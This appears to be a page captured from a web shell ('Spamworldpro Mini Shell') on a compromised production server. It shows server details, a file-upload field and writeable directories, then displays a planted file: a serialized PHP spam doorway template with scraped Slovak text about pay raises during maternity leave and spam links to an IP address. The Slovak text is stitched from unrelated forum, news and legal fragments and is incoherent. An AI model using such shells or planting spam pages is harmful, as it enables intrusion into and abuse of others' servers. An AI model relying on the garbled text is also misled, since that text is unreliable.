Spamworldpro Mini Shell
Spamworldpro


Server : nginx/1.20.1
System : Linux ccpf-production-2021 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64
User : forge ( 1000)
PHP Version : 7.4.21
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /proc/3463448/cwd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/3463448/cwd/e0ebb792d5df9e01e626b97f8ce9a49d
a:5:{s:8:"template";s:12701:"<!DOCTYPE html>
<html lang="sk">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width,initial-scale=1,user-scalable=no" name="viewport"/>
<title>{{ keyword }}</title>
<link href="//fonts.googleapis.com/css?family=Lato%3A400%2C700&amp;ver=5.2.5" id="timetable_font_lato-css" media="all" rel="stylesheet" type="text/css"/>
<link href="http://fonts.googleapis.com/css?family=Raleway%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900%2C300italic%2C400italic%2C700italic%7CRaleway%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900%2C300italic%2C400italic%2C700italic%7CPlayfair+Display%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900%2C300italic%2C400italic%2C700italic%7CPoppins%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900%2C300italic%2C400italic%2C700italic&amp;subset=latin%2Clatin-ext&amp;ver=1.0.0" id="bridge-style-handle-google-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<style rel="stylesheet" type="text/css">@charset "UTF-8";.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal}.has-drop-cap:not(:focus):after{content:"";display:table;clear:both;padding-top:14px}@font-face{font-family:Lato;font-style:normal;font-weight:400;src:local('Lato Regular'),local('Lato-Regular'),url(http://fonts.gstatic.com/s/lato/v16/S6uyw4BMUTPHjx4wWw.ttf) format('truetype')}@font-face{font-family:Lato;font-style:normal;font-weight:700;src:local('Lato Bold'),local('Lato-Bold'),url(http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh6UVSwiPHA.ttf) format('truetype')} .fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@font-face{font-family:dripicons-v2;src:url(fonts/dripicons-v2.eot);src:url(fonts/dripicons-v2.eot?#iefix) format("embedded-opentype"),url(fonts/dripicons-v2.woff) format("woff"),url(fonts/dripicons-v2.ttf) format("truetype"),url(fonts/dripicons-v2.svg#dripicons-v2) format("svg");font-weight:400;font-style:normal}.clearfix:after{clear:both}a{color:#303030}.clearfix:after,.clearfix:before{content:" ";display:table}footer,header,nav{display:block}::selection{background:#1abc9c;color:#fff}::-moz-selection{background:#1abc9c;color:#fff}a,body,div,html,i,li,span,ul{background:0 0;border:0;margin:0;padding:0;vertical-align:baseline;outline:0}header{vertical-align:middle}a{text-decoration:none;cursor:pointer}a:hover{color:#1abc9c;text-decoration:none}ul{list-style-position:inside}.wrapper,body{background-color:#f6f6f6}html{height:100%;margin:0!important;-webkit-transition:all 1.3s ease-out;-moz-transition:all 1.3s ease-out;-o-transition:all 1.3s ease-out;-ms-transition:all 1.3s ease-out;transition:all 1.3s ease-out}body{font-family:Raleway,sans-serif;font-size:14px;line-height:26px;color:#818181;font-weight:400;overflow-y:scroll;overflow-x:hidden!important;-webkit-font-smoothing:antialiased}.wrapper{position:relative;z-index:1000;-webkit-transition:left .33s cubic-bezier(.694,.0482,.335,1);-moz-transition:left .33s cubic-bezier(.694,.0482,.335,1);-o-transition:left .33s cubic-bezier(.694,.0482,.335,1);-ms-transition:left .33s cubic-bezier(.694,.0482,.335,1);transition:left .33s cubic-bezier(.694,.0482,.335,1);left:0}.wrapper_inner{width:100%;overflow:hidden}header{width:100%;display:inline-block;margin:0;position:relative;z-index:110;-webkit-backface-visibility:hidden}header .header_inner_left{position:absolute;left:45px;top:0}.header_bottom,.q_logo{position:relative}.header_inner_right{float:right;position:relative;z-index:110}.header_bottom{padding:0 45px;background-color:#fff;-webkit-transition:all .2s ease 0s;-moz-transition:all .2s ease 0s;-o-transition:all .2s ease 0s;transition:all .2s ease 0s}.logo_wrapper{height:100px;float:left}.q_logo{top:50%;left:0}nav.main_menu{position:absolute;left:50%;z-index:100;text-align:left}nav.main_menu.right{position:relative;left:auto;float:right}nav.main_menu ul{list-style:none;margin:0;padding:0}nav.main_menu>ul{left:-50%;position:relative}nav.main_menu.right>ul{left:auto}nav.main_menu ul li{display:inline-block;float:left;padding:0;margin:0;background-repeat:no-repeat;background-position:right}nav.main_menu ul li a{color:#777;font-weight:400;text-decoration:none;display:inline-block;position:relative;line-height:100px;padding:0;margin:0;cursor:pointer}nav.main_menu>ul>li>a>i.menu_icon{margin-right:7px}nav.main_menu>ul>li>a{display:inline-block;height:100%;background-color:transparent;-webkit-transition:opacity .3s ease-in-out,color .3s ease-in-out;-moz-transition:opacity .3s ease-in-out,color .3s ease-in-out;-o-transition:opacity .3s ease-in-out,color .3s ease-in-out;-ms-transition:opacity .3s ease-in-out,color .3s ease-in-out;transition:opacity .3s ease-in-out,color .3s ease-in-out}header:not(.with_hover_bg_color) nav.main_menu>ul>li:hover>a{opacity:.8}nav.main_menu>ul>li>a>i.blank{display:none}nav.main_menu>ul>li>a{position:relative;padding:0 17px;color:#9d9d9d;text-transform:uppercase;font-weight:600;font-size:13px;letter-spacing:1px}header:not(.with_hover_bg_color) nav.main_menu>ul>li>a>span:not(.plus){position:relative;display:inline-block;line-height:initial}.drop_down ul{list-style:none}.drop_down ul li{position:relative}.side_menu_button_wrapper{display:table}.side_menu_button{cursor:pointer;display:table-cell;vertical-align:middle;height:100px}.content{background-color:#f6f6f6}.content{z-index:100;position:relative}.content{margin-top:0}.three_columns{width:100%}.three_columns>.column1,.three_columns>.column2{width:33.33%;float:left}.three_columns>.column1>.column_inner{padding:0 15px 0 0}.three_columns>.column2>.column_inner{padding:0 5px 0 10px}.footer_bottom{text-align:center}footer{display:block}footer{width:100%;margin:0 auto;z-index:100;position:relative}.footer_bottom_holder{display:block;background-color:#1b1b1b}.footer_bottom{display:table-cell;font-size:12px;line-height:22px;height:53px;width:1%;vertical-align:middle}.footer_bottom_columns.three_columns .column1 .footer_bottom{text-align:left}.header_top_bottom_holder{position:relative}:-moz-placeholder,:-ms-input-placeholder,::-moz-placeholder,::-webkit-input-placeholder{color:#959595;margin:10px 0 0}.side_menu_button{position:relative}.blog_holder.masonry_gallery article .post_info a:not(:hover){color:#fff}.blog_holder.blog_gallery article .post_info a:not(:hover){color:#fff}.blog_compound article .post_meta .blog_like a:not(:hover),.blog_compound article .post_meta .blog_share a:not(:hover),.blog_compound article .post_meta .post_comments:not(:hover){color:#7f7f7f}.blog_holder.blog_pinterest article .post_info a:not(:hover){font-size:10px;color:#2e2e2e;text-transform:uppercase}.has-drop-cap:not(:focus):first-letter{font-family:inherit;font-size:3.375em;line-height:1;font-weight:700;margin:0 .25em 0 0}@media only print{footer,header,header.page_header{display:none!important}div[class*=columns]>div[class^=column]{float:none;width:100%}.wrapper,body,html{padding-top:0!important;margin-top:0!important;top:0!important}}body{font-family:Poppins,sans-serif;color:#777;font-size:16px;font-weight:300}.content,.wrapper,body{background-color:#fff}.header_bottom{background-color:rgba(255,255,255,0)}.header_bottom{border-bottom:0}.header_bottom{box-shadow:none}.content{margin-top:-115px}.logo_wrapper,.side_menu_button{height:115px}nav.main_menu>ul>li>a{line-height:115px}nav.main_menu>ul>li>a{color:#303030;font-family:Raleway,sans-serif;font-size:13px;font-weight:600;letter-spacing:1px;text-transform:uppercase}a{text-decoration:none}a:hover{text-decoration:none}.footer_bottom_holder{background-color:#f7f7f7}.footer_bottom_holder{padding-right:60px;padding-bottom:43px;padding-left:60px}.footer_bottom{padding-top:51px}.footer_bottom,.footer_bottom_holder{font-size:13px;letter-spacing:0;line-height:20px;font-weight:500;text-transform:none;font-style:normal}.footer_bottom{color:#303030}body{font-family:Poppins,sans-serif;color:#777;font-size:16px;font-weight:300}.content,.wrapper,body{background-color:#fff}.header_bottom{background-color:rgba(255,255,255,0)}.header_bottom{border-bottom:0}.header_bottom{box-shadow:none}.content{margin-top:-115px}.logo_wrapper,.side_menu_button{height:115px}nav.main_menu>ul>li>a{line-height:115px}nav.main_menu>ul>li>a{color:#303030;font-family:Raleway,sans-serif;font-size:13px;font-weight:600;letter-spacing:1px;text-transform:uppercase}a{text-decoration:none}a:hover{text-decoration:none}.footer_bottom_holder{background-color:#f7f7f7}.footer_bottom_holder{padding-right:60px;padding-bottom:43px;padding-left:60px}.footer_bottom{padding-top:51px}.footer_bottom,.footer_bottom_holder{font-size:13px;letter-spacing:0;line-height:20px;font-weight:500;text-transform:none;font-style:normal}.footer_bottom{color:#303030}@media only screen and (max-width:1000px){.header_inner_left,header{position:relative!important;left:0!important;margin-bottom:0}.content{margin-bottom:0!important}header{top:0!important;margin-top:0!important;display:block}.header_bottom{background-color:#fff!important}.logo_wrapper{position:absolute}.main_menu{display:none!important}.logo_wrapper{display:table}.logo_wrapper{height:100px!important;left:50%}.q_logo{display:table-cell;position:relative;top:auto;vertical-align:middle}.side_menu_button{height:100px!important}.content{margin-top:0!important}}@media only screen and (max-width:600px){.three_columns .column1,.three_columns .column2{width:100%}.three_columns .column1 .column_inner,.three_columns .column2 .column_inner{padding:0}.footer_bottom_columns.three_columns .column1 .footer_bottom{text-align:center}}@media only screen and (max-width:480px){.header_bottom{padding:0 25px}.footer_bottom{line-height:35px;height:auto}}@media only screen and (max-width:420px){.header_bottom{padding:0 15px}}@media only screen and (max-width:768px){.footer_bottom_holder{padding-right:10px}.footer_bottom_holder{padding-left:10px}}@media only screen and (max-width:480px){.footer_bottom{line-height:20px}} @font-face{font-family:Poppins;font-style:normal;font-weight:400;src:local('Poppins Regular'),local('Poppins-Regular'),url(http://fonts.gstatic.com/s/poppins/v9/pxiEyp8kv8JHgFVrJJnedw.ttf) format('truetype')}@font-face{font-family:Poppins;font-style:normal;font-weight:500;src:local('Poppins Medium'),local('Poppins-Medium'),url(http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLGT9Z1JlEA.ttf) format('truetype')}@font-face{font-family:Poppins;font-style:normal;font-weight:600;src:local('Poppins SemiBold'),local('Poppins-SemiBold'),url(http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLEj6Z1JlEA.ttf) format('truetype')} @font-face{font-family:Raleway;font-style:normal;font-weight:400;src:local('Raleway'),local('Raleway-Regular'),url(http://fonts.gstatic.com/s/raleway/v14/1Ptug8zYS_SKggPNyCMISg.ttf) format('truetype')}@font-face{font-family:Raleway;font-style:normal;font-weight:500;src:local('Raleway Medium'),local('Raleway-Medium'),url(http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwN4rWqhPBQ.ttf) format('truetype')}</style>
</head>
<body>
<div class="wrapper">
<div class="wrapper_inner">
<header class=" scroll_header_top_area stick transparent page_header">
<div class="header_inner clearfix">
<div class="header_top_bottom_holder">
<div class="header_bottom clearfix" style=" background-color:rgba(255, 255, 255, 0);">
<div class="header_inner_left">
<div class="logo_wrapper">
<div class="q_logo">
<h1>{{ keyword }}</h1>
</div>
</div> </div>
<div class="header_inner_right">
<div class="side_menu_button_wrapper right">
<div class="side_menu_button">
</div>
</div>
</div>
<nav class="main_menu drop_down right">
<ul class="" id="menu-main-menu"><li class="menu-item menu-item-type-custom menu-item-object-custom narrow" id="nav-menu-item-3132"><a class="" href="#" target="_blank"><i class="menu_icon blank fa"></i><span>Original</span><span class="plus"></span></a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home narrow" id="nav-menu-item-3173"><a class="" href="#"><i class="menu_icon blank fa"></i><span>Landing</span><span class="plus"></span></a></li>
</ul> </nav>
</div>
</div>
</div>
</header>
<div class="content">
<div class="content_inner">
{{ text }}
<br>
{{ links }}
</div>
</div>
<footer>
<div class="footer_inner clearfix">
<div class="footer_bottom_holder">
<div class="three_columns footer_bottom_columns clearfix">
<div class="column2 footer_bottom_column">
<div class="column_inner">
<div class="footer_bottom">
<div class="textwidget">{{ keyword }} 2021</div>
</div>
</div>
</div>
</div>
</div>
</div>
</footer>
</div>
</div>
</body>
</html>";s:4:"text";s:13394:"Ak si nárok na rodičovský príspevok uplatňuje manžel/manželka rodiča dieťaťa, ktorý nie je biologickým rodičom dieťaťa a ktorý žije s rodičom dieťaťa v domácnosti, túto skutočnosť preukazuje sobášnym listom. 2010 o 14.00hod. Navrhujem narazove zvysenie platov ucitelov a na pozicie vysokoskolskych ucitelov prijatie lektorov zo zahranicia a Slovakov, ktori v zahranici posobili. Druha nevyhoda plynie z prvej - kedze nemas rovnomerny prisun bielkovin pocas dna, organizmus bude mat vacsiu tendenciu siahat po svaloch ako zdroji bielkovin. V práci sa bude zvyšovať na základe vylorizácie každému a zaujíma ma, či sa to bude teda dotýkať aj mňa (myslím,že musí) ale aj v prípade, že by som bola na materskej a potom rodičovskej. Zamestnávateľ môže túto situáciu riešiť dvomi spôsobmi: Samozrejme, ze hacik je, nove zamestnanie musi byt s vyssou mzdou, aby bol vyssi vymeriavaci zaklad, z ktoreho sa pocita materska. Materské sa poskytuje počas materskej dovolenky, a to za podmienok ustanovených v § 48 až § 53 zákona o sociálnom poistení. Na výpočet nároku na dovolenku vám pomôže kalkulačka. Možná, že by se to dalo zařadit do Politických souvislostí, ale to je už hóóódně dlouhé vlákno a válka je pře jen pokračování politiky JINÝMI (např. @maria1978 ja ked som sa vratila prvy krat z rodicovskych, tak ma rovno cakal novy platovy dekret... u sukromnika, bola som milo prekvapena a keby ma necakal, tak by som to riesila, az ked by som pracovala mesiac dva... Tak o niecom takom som este nepocula a popravde mi to aj pripada divne, aby zene, ktora bola doma zvysili plat tolko co tym, co zatial pracovali. inflácii a podobne, alebo sa zamestnávateľ rozhodol zvýšiť platy za dobré výsledky firmy - v prvom prípade by som tvoj nárok chápala, v druhom - bez urážky - nie... každopádne pochybujem, že existuje nejaký zákon, ktorý súkromníkom prikazuje zvyšovať platy podľa nejakej šablóny... štátna sféra je niečo iné... ak si si naštudovala zákonník práce a nie je to tam, tak nie je čo riešiť... snáď len pracovnú a kolektívnu zmluvu ešte pozrieť... @maria1978 ak sa nemýlim,po novom by si mala mať plat taký,ako keby si normálne pracovala,to znamená,že ak ho vo firme zvyšovali,mala by si ho mať vyšší.ale presné znenie zákona teraz neviem nájsť,skús sa popýtať na stránke porada.sk,tam by to mohli vedieť , Ja mam pocit, ze v novom zakonniku prace je zakotvene, ze ak sa zvysovali mzdy, musia sa zvysit aj zene, ktora bola na RD, idem to skusit najst. Chceme vytvorit cca 150 000 novych pracovnych miest a podmienky pre 5-6% rast cistych miezd. Príspevkov: 5, Posledný príspevok: 23.09.05, Príspevkov: 14, Posledný príspevok: 26.04.05, Príspevkov: 8, Posledný príspevok: 15.03.05, Príspevkov: 3, Posledný príspevok: 07.03.05, Príspevkov: 0, Posledný príspevok: 25.01.05, prosím o radu-predaj skladu /pokus o rým/, Prosím o radu.Mala som daňovú kontrolu, Potrebujete odpoveď (na diskusiu slúžia. Vítězslav Novák - 18/10/2006 - 15:50. vianočný plat) považuje za zdaniteľný príjem. Chcela by som sa spytat, z akej sumy sa … Academia.edu is a platform for academics to share research papers. Výbor, ktorého jedinou zmysluplnou činnosťou môže byť jeho zánik, prezentoval tradičné protiskutočnostné snahy postaviť sa proti stvoriteľskému dielu Boha, a toto naprávať podľa šablón pomýlených feministických teórií. Štandardná dĺžka materskej dovolenky pre ženu je 34 týždňov. ak by ma vypísal na rizikové to sa potom asi nezapočítava do odpracovaného či ako to je? Čo je to zamestnanie? Nárok na voľno: Na dovolenku v roku 2021, rovnako ako aj v roku 2020, máte nárok, ak ste u rovnakého zamestnávateľa odpracovali minimálne 60 dní. Alebo ak chceš trochu ušetriť - nebude to síce celkom maximum - pár dní pred nástupom na materskú sa prihlásiš na celý balík dobr.poistenia. Mozem teda zostat v povodnej firme zamestnana a manzel ma zamestna 90 dni pred nastupom na dalsi PP? pokial sa smiem spytat, 1/ ochranná doba sa týka dávok nemocenského poistenia, t.j. PNS, OČR i MD. Zdravím páni. K „zníženiu úväzku“ môže dôjsť aj na základe žiadosti učiteľa, ak riaditeľ môže jeho požiadavke vyhovieť. @maria1978 naštuduj si kolektívnu zmluvu v práci teda ked máte. Kalkulačka na informatívny výpočet poistného pre SZČO za obdobie od 1. februára 2021. @alenah31 prave preto som jej pisala ze neviem ako to je u nich preukazatelne... u nas na to narok je, nie som v statnej sprave, ale vo velkej firme kde je kolektivna zmluva, (1) Ak sa zamestnankyňa vráti do práce po skončení materskej dovolenky alebo ak sa zamestnanec vráti do práce po skončení rodičovskej dovolenky podľa § 166 ods. 1, zamestnávateľ je povinný zaradiť ich na pôvodnú prácu a pracovisko. Vyplateny dovolenkovy plat dosiahol priemerne 4 969,- Sk na zamestnanca a prepocet vianocneho platu predstavuje v priemere priblizne 7 500 Sk pre jedneho pracovnika. eur. Dakujem velmi pekne za rady. Vkladať príspevky môžu iba registrovaní čitatelia. Vaša hrubá mesačná mzda (uvedená v zmluve) * EUR / mesiac. Na materskej, resp. musim ta poopravit. Existuje žiadosť o zvýšenie platu, o prijatie do zamestnania ale aj o zrušenie pracovného pomeru či o zrušenie zmluvy. za prítomnosti mojej a predsedníčky kultúrnej komisie Violy Bakošovej, potvrdzujeme znova, že bolo dohodnuté, že lístky na predstavenie muzikál Mystérium, budú k dispozícii v DK. Diskusia k článku Zvýšenie základnej sadzby dane z pridanej hodnoty (DPH) z 19 % na 20 % a zrušenie daňového zvýhodnenia predaja z dvora už odobrili aj ministri. Pocas prehliadky vyrobnych prevadzok sa zivo zaujimali o vyrobny proces a uputal ich aj socialny program spolocnosti. @sissy27 suhlasim, u nas napriklad zalezi od rocneho hodnotenia, niekomu sa vobec nezvysi plat, niekomu o dost slusne percento. Môj zamestnávateľ mi však oznámil ako prvé, že na moju pôvodnú pozíciu ekonómky ma už nezamestná, ale dá mi úplne odlišnú prácu. Priebeh navstevy nam priblizil Mgr. V prípade, že sa im narodí bábätko a splnenia podmienky, majú nárok na materskú. Ponuka práce doma a v zahraničí. Hoci sa to nezdá, žiadosť má široké uplatnenie. Marian Zima, personalny riaditel ZP a.s., slovami: “Vysoko hodnotim skutocnost, ze nas poctili svojou navstevou predstavitelia VSZ, a.s., na najvyssej urovni. Pomohlo by ti, ak by si pocas rodicovskej dovolenky chcela vyuzivat nemocensku alebo osetrovne pocas PNky, OCRky. 20 dni pred skoncenim DPN tak sa mi pn pocita zo sumy vymeriavacieho zakladu co som si platila z DNP vsak?  A pomaly sa to zacina vydavat. Práca, zamestnanie, kariéra, brigády a nové pracovné príležitosti. v situácii, ak sa zníži počet žiakov v škole a z toho dôvodu musí znížiť počet tried, čím sa zníži aj počet vyučovacích hodín, ktoré je podľa učebného plánu potrebné odučiť. Nájdené v tejto knihe – strana 16Ďalej patria do evidenčného počtu pracovníkov aj pracovníci , ktorí sú na vojensko cvičení , počas ktorého ... Pre výpočet prie mernej výšky mzdy sa k evidenčnému stavu pracovnikov pripočítavajú aj ženy na materskej dovolenke . Tvarohu sa to sice az tak netyka, ale ak by to boli napr. Poistenkyňa, ktorá je tehotná alebo ktorá sa stará o narodené dieťa, má nárok na materské, ak v posledných 2 rokoch pred pôrodom … Ako vyzerá oznámenie o návrate do práce po RD? – 4. ročníka základnej školy, v ktorej okrem čítania nájdu aj množstvo kreatívnych a poučných úloh na kreslenie a...viac. Zamestnávateľ. Ministerstvo zdravotníctva SR zverejnilo aktualizovaný zoznam termínov na očkovanie proti ochoreniu Covid-19 bez nutnosti registrácie. Ahojte, chcem sa spýtať, či neviete kde by som sa dočítala o tom, či je možné žiadať zamestnávateľa o zvýšenie platu počas toho ako je žena na materskej alebo rodičovskej. Zuzany Ďurinovej do funkcie generálnej riaditeľky pravidelne dostávame 13. plat. 1, a zamestnankyňa a zamestnanec majú právo na prospech z každého zlepšenia pracovných podmienok, na ktoré by mali právo, ak by nenastúpili na materskú dovolenku alebo rodičovskú dovolenku podľa § 166 ods. Namiesto detí dostanú pokutu rodičia, Medzinárodná konferencia „Podpora rozmanitosti vo vzdelávaní“, Združenie V7 vyzýva k zmene slovenského vysokého školstva, Novela školského zákona otvorí cestu pre potrebné zmeny v obsahu a formách vzdelávania, Vysoká škola už nebude môcť prijímať študentov na pozastavený program, Platové tarify pedagogických a odborných zamestnancov sa od januára zvýšia, Nová výplatná páska učiteľa: k platu plus motivačná zložka, Platy učiteľov klesať nebudú, odkazuje Gröhling napriek situácii v školstve, Učitelia nesúhlasia s Lubyovej novinkou. U zamestnanca, ktorý sa s takýmto postupom zamestnávateľa uspokojí a vykonáva prácu v zníženom rozsahu za menší plat, došlo k faktickej zmene pracovnej zmluvy. Materská Dobry vecer, chcela by som sa opytat na problematiku materskej, nakolko som z aposledne 2 roky bola poistena viac ako 270 dni, tak mam n a nu narok, ale problem spociva vo vypocte jej vysky.Mam na nu narok od 29.7. @maria1978 v nasej firme je kazdy rok stanovene po rokovani s odborarmi priemerne zvysenie platov a podla mna na to ma mamicka po navrate z materskej/rodicovskej narok. 5.11.2004 - Dovolenka po MD, výpočet platu, materské počas druhej MD - Jana Na MD nastupujem od februara 2004. Pocas volebneho obdobia chceme dosiahnut priemerne rocne tempo rastu hrubeho domaceho produktu v rozmedzi 4-6%. Veci, o ktorých sa budete baviť pri obede Jasné otázky – priame odpovede. 4 I. Číselné odkazy kvyplňovaniu žiadosti orodičovský príspevok 1) napr. Braňo Závodský a jeho hosť každý pracovný deň 5 minút po 12 naživo na aktuálnu tému o veciach, o ktorých sa budete baviť pri obede. ked ich urobil, musel vediet predpisane ucivo. 51 komentárov. Socialna oblast. Platné životné minimum sa zvýšilo na 210,20 €, čo predstavuje nárast oproti roku 2019 o 5,13 €. - a mnohi by ju v tom podporili, vratane mna, lebo podvod je podvod, nezalezi, ktora strana ho pacha. od Marca by mala nastupiť do práce a jej plat bude si cca 400 eur aj dcera bude chodiť do škôlky . Na výpočet nároku na dovolenku vám pomôže kalkulačka. Podľa: vlákien iba prvá úroveň času: najnovšie po najstaršie najstaršie po najnovšie vrchnost a boháči sa dajú liečiť v cudzine . Správy z oblasti ekonomiky, kultúry a spoločenského života. štátny zamestnanci, niektoré veľké firmy) v opačnom prípade nie, firma totiž nie je povinná zamestnancovi každý rok zvyšovať plat. An icon used to represent a menu that can be toggled by interacting with this icon. 1, a zamestnankyňa a zamestnanec majú právo na prospech z každého zlepšenia pracovných podmienok, na ktoré by mali právo, ak by nenastúpili na materskú dovolenku alebo rodičovskú dovolenku podľa § 166 ods. Toto sme chceli, toto sme si vyštrngali na námestach. Dovolenku za rok 2005 by som si chcela vycerpat po skonceni MD, teda cca v auguste 2005 a potom pokracovat v RD. neviem ako je to u vas a ci je to preukazatelne, paragraf co o tom hovori som uviedla hore, posledna veta v ňom, @maria1978@lal@habibi78@janickacrazy@sissy27@monicm@tanapeta. Viac sa dozviete na odbornej konferencii ŠKOLA 2010/2011. Daňové príjmy štátu by tak vďaka týmto opatreniam mali v budúcom roku vzrásť o 185,5 mil. 11hod. Copyright ©  PORADA.sk, s.r.o. Ved pocas celeho studia robil postupove skusky. platí, bol vyjadrením na základe pracovného stretnutia u primátora mesta dňa 30. Tito vedia, ze vysoka skola nie je len biflovacka, ktora nema s realnym zivotom nic spolocne. https://www.podnikajte.sk/dan-z-prijmov/nezdanitelne-casti-zakladu-dane-2020 Približný výpočet podľa hrubej mzdy - v prípade, že ste zamestnaný len krátku dobu, nie je pre Vás približný výpočet dostatočne presný, použite výpočet podľa vymeriavacieho základu. Ale je to v zakone, oplati sa precitat si cely zakonikhttp://www.porada.sk/t56527-zakonnik-prace-od-2... §157 (1).....Zamestnávateľ je povinný zaradiť zamestnankyňu a zamestnanca za podmienok, ktoré pre nich nebudú menej priaznivé ako podmienky, ktoré mali v čase, keď nastúpili na materskú dovolenku alebo rodičovskú dovolenku podľa § 166 ods. Vyplateny dovolenkovy plat dosiahol priemerne 4 969,- Sk na zamestnanca a prepocet vianocneho platu predstavuje v priemere priblizne 7 500 Sk pre jedneho pracovnika. Diskusia: 19. Otec dieťaťa môže poberať materské po dohode s matkou dieťaťa, a to vtedy, ak matka … Počula som že po návrate z rodičovskej mám na to nárok, ale neviem to nájsť nikde v zákonníku práce. to by bolo po prepocte na slovenske koruny a euro niekde na rovnakej urovni ako ten "vas" plat. 27.04.2012 16:33:38 | ma Som sklamany, nic sa nevybavilo. Denne aktualizované spravodajstvo z domova i zo sveta. ";s:7:"keyword";s:30:"zvysenie platu pocas materskej";s:5:"links";s:1142:"<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=povolenie-na-poskytovanie-zdravotnej-starostlivosti">Povolenie Na Poskytovanie Zdravotnej Starostlivosti</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=kysl%C3%A1-%C5%A1o%C5%A1ovicov%C3%A1-polievka-so-zemiakmi">Kyslá šošovicová Polievka So Zemiakmi</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=hrdinsk%C3%BD-z%C3%A1pisn%C3%ADk-%C4%8Ditate%C4%BEsk%C3%BD-denn%C3%ADk">Hrdinský Zápisník čitateľský Denník</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=canesten-intim-gel-recenzie">Canesten Intim Gel Recenzie</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=canesten-intim-gel-recenzie">Canesten Intim Gel Recenzie</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=senec-prenajom-chatky">Senec Prenajom Chatky</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=orange-pausal-s-telefonom">Orange Pausal S Telefonom</a>,
<a href="http://134.209.76.33/jxfpgf0/y6mii05/archive.php?tag=pala%C4%8Dinky-z-mandlov%C3%A9ho-mlieka">Palačinky Z Mandlového Mlieka</a>,
";s:7:"expired";i:-1;}

Spamworldpro Mini